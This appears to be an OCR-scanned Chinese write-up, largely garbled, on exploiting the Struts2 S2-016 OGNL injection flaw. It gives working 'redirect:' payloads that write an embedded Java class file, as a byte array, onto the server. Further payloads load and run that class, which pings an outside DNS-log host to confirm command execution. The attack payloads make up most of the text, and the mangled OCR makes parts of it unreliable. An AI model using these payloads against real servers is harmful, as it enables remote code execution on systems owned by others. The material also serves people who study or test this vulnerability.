26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,
101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,10
1,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116, 114,105,110, 103,59,
41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0, 16,
106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,10
0,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,1

9,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,11

8,97,47,108,97,110,103,47,79,98,1006,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,10
1,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,
105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,4
1,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,

0,13,0,0,0,100,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,7

6,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,
0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-7

92,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0. append(new java.lang.String(#a)),#bba. 1
ush(),#bb0. close(), #ot.print(#bb0), #ot. flush(), #ot.close()}

XEBEARY, BERRIMERRBENFTIERE

& hello.class féonly secufity
-

hellotest.class

MERFENT, IRBINT



hellotest.class

Decompiled .class file

Q‘Q only security

SMZEN new java.lang.string HIFMERIBSEAXMERE, FIABEARE SEEREFTHNAE
EE?&,EU java.io.FileOutputStream E/I\fj_if, E};Eﬁ write E_“JE)\?%, pocC QD—F

redirect:http://www.baidu.com${#req=#context.get('co'+"'m.open'+"symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+"'vletRe
q'+'uest'),#resp=#context.get('co'+'m.open'+"'symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb@=new java.io.FileOutputStream("/xxxxx/classes/hello3.clas

s"),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,
7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,7
8,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,9
7,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,11



4,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,11
0,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,
110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,1
10,103,47,069,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,7

9,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,11

7,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,1
20,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,
97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,
0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,
0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,
0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,

0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21%},#bb0.write(#a),#bb0o. flush(),#bb0.close(),#ot.print(#bbd), #ot. flush(), #ot.
close()}

RRINERNT:

& hello.class

& hello3.class

R4mIFHBALIN

test2.java hello3.class

Decompiled .class file, bytecode version: 52.0 (Java 8)

1 I

hello {

I
L
hello() {
{
String[] varl = String[1{
Process var2 = Runtime.getRuntime().exec(varl)

(Exception var3) {




@ only security

main(String[] vare) hello()

BB ABITAMEY file tHiXHOEL class 2

redirect:http://www.baidu.com${#req=#context.get('co'+"'m.open'+"symphony.xwo'+"'rk2.disp'+"atcher.HttpSer'+'vletRe
q'+'uest'),#resp=#context.get('co'+'m.open'+"'symphony.xwo'+'rk2.disp'+"atcher.HttpSer'+'vletRes'+'ponse'),#resp.se
tCharacterEncoding('UTF-8"),#ot=#resp.getWriter (),#bb0@=new java.net.URL[]J{new java.net.URL("file:/xxxxx/WEB-INF/c
lasses/")},#cc@=new java.net.URLClassLoader(#bb@),#ccl=#cc@.loadClass("hello3"),#ccl.getDeclaredMethods()[@].1invok
e(#ccl.newInstance()),#ot.print(),#ot.flush(),#ot.close()}

Turn on to auto refresh results.

R
# Record Host A T~ <

54 test.. B N.dns.1433.eu.org. e e e [ 5 o " $23:10:01

dns FREIRENER, FAMIN, REIREAMN/NER Struts2 iFmEH A AXAFIA.

0x04 S48

1. 2] waf REEEIZRNF, ERDTEEAHITAMENS S, IFMAIN#ITSRT.

2. RAJEEXY payload I3 AITHR, MARRKHTIE, REALE IERDMEMMAT), TERMEMEKR XTI A,

SEZPER:
https://github.com/vulhub/vulhub/tree/master/struts2/s2-016  [Struts2 016 fiE]



